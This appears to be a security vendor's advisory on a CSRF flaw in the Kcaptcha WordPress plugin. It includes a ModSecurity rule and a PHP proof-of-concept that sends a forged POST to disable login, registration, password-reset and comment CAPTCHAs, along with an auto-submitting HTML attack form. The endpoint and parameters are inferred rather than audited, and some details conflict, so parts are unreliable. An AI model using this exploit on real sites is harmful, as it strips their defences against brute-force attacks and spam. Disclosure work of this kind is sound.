Atomic Edge analysis of CVE-2026-4121 (metadata-based):
This Cross-Site Request Forgery (CSRF) vulnerability affects the Kcaptcha plugin for WordPress, all versions up to and including 1.0.1. The plugin fails to implement nonce verification in its settings page handler, allowing an attacker to forge requests that modify CAPTCHA configurations without the administrator’s consent. The CVSS score of 4.3 (Medium) reflects the low complexity, network-based attack vector, and requirement for user interaction, with limited impact on integrity.
Root Cause: The vulnerability stems from the absence of WordPress nonce validation in the plugin’s settings form and processing code. Based on the description, the file admin/setting.php is the handler. WordPress requires wp_nonce_field() in forms and wp_verify_nonce() or check_admin_referer() during processing to ensure state-changing requests originate from the intended admin session. Atomic Edge analysis infers that the plugin omits both of these security checks, enabling CSRF attacks. No code audit was performed, as vulnerable versions are unavailable.
Exploitation: An attacker crafts a malicious HTML page or link that submits a POST request to the WordPress admin area where the Kcaptcha settings are processed. The target endpoint is likely /wp-admin/options-general.php?page=kcaptcha or a direct POST to admin/setting.php. The attacker includes parameters such as kc_login_enable, kc_register_enable, kc_lostpassword_enable, and kc_comment_enable to toggle CAPTCHA protections. The forged request updates the plugin’s settings via $wpdb->update() without any CSRF token verification. Successful exploitation requires tricking an authenticated administrator into visiting the crafted page or clicking the malicious link.
Remediation: The plugin must implement WordPress CSRF protection. The fix requires adding a nonce field in the settings form using wp_nonce_field(‘kcaptcha_settings_action’, ‘kcaptcha_nonce’) and verifying it in admin/setting.php with check_admin_referer(‘kcaptcha_settings_action’) before any database writes. Validation should occur before the $wpdb->update() call. Since no patched version exists, site administrators should uninstall the plugin or apply a virtual patch.
Impact: Successful CSRF exploitation allows an unauthenticated attacker to disable CAPTCHA protections on login, registration, password reset, and comment forms. This opens the door to automated brute-force attacks, spam registration, comment spam, and credential stuffing. While the direct impact is limited to settings modification (no data theft), the downstream effects on site security and user experience can be significant, especially for sites relying on CAPTCHA for bot mitigation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-content/plugins/kcaptcha/admin/setting.php"
"id:20264121,phase:2,deny,status:403,chain,msg:'CVE-2026-4121 - Kcaptcha CSRF Settings Update',severity:'CRITICAL',tag:'CVE-2026-4121'"
SecRule ARGS_POST:kc_login_enable|ARGS_POST:kc_register_enable|ARGS_POST:kc_lostpassword_enable|ARGS_POST:kc_comment_enable "@rx ^[01]$"
"chain"
SecRule ARGS_POST:action "@streq update"
"chain"
SecRule REQUEST_METHOD "@streq POST" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4121 - Kcaptcha <= 1.0.1 - Cross-Site Request Forgery to Settings Update
// Configuration: change these values
$target_url = 'http://example.com'; // WordPress site URL
$admin_path = '/wp-admin/'; // Admin directory path, usually /wp-admin/
// Step 1: Determine the actual form submission endpoint
// The vulnerable file is admin/setting.php within the plugin
// Common WordPress pattern: admin-post.php or options page processing
// We'll target admin-post.php with the plugin's action, which is typical for
// custom plugin settings updates.
// Step 2: Craft the forged POST request
// The Kcaptcha settings likely store flags for each form type.
// Parameter names inferred from the description (enabling/disabling CAPTCHA):
// - kc_login_enable (login form)
// - kc_register_enable (registration form)
// - kc_lostpassword_enable (lost password form)
// - kc_comment_enable (comment form)
// By default, an attacker would disable all protections to weaken the site.
$post_data = array(
'kc_login_enable' => '0',
'kc_register_enable' => '0',
'kc_lostpassword_enable' => '0',
'kc_comment_enable' => '0',
// The plugin might expect a hidden field like 'action' or 'option_page'
'action' => 'update',
'option_page' => 'kcaptcha',
);
// Target the plugin's settings update endpoint
// Direct file access: /wp-content/plugins/kcaptcha/admin/setting.php
// Alternatively, admin-post.php with a custom action defined by the plugin
$url = $target_url . '/wp-content/plugins/kcaptcha/admin/setting.php';
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification for testing
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
// Optional: Include cookies if targeting admin area directly (non-CSRF scenario)
// For CSRF, the request is made from a victim's browser, but as PoC we test direct submission
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] CVE-2026-4121 Exploit Testn";
echo "[+] Target: $urln";
echo "[+] HTTP Status: $http_coden";
if ($http_code == 200) {
echo "[+] Request sent successfully. If the admin visits a crafted page, settings will change.n";
} else {
echo "[-] Request failed. The plugin might use a different endpoint.n";
}
// Alternative: For HTML-based CSRF (used in real attacks):
// echo '<html><body>';
// echo '<form action="http://example.com/wp-content/plugins/kcaptcha/admin/setting.php" method="POST" id="csrf_form">';
// echo '<input type="hidden" name="kc_login_enable" value="0">';
// echo '<input type="hidden" name="kc_register_enable" value="0">';
// echo '<input type="hidden" name="kc_lostpassword_enable" value="0">';
// echo '<input type="hidden" name="kc_comment_enable" value="0">';
// echo '<input type="submit" value="Click me">';
// echo '</form>';
// echo '<script>document.getElementById("csrf_form").submit();</script>';
// echo '</body></html>';
?>
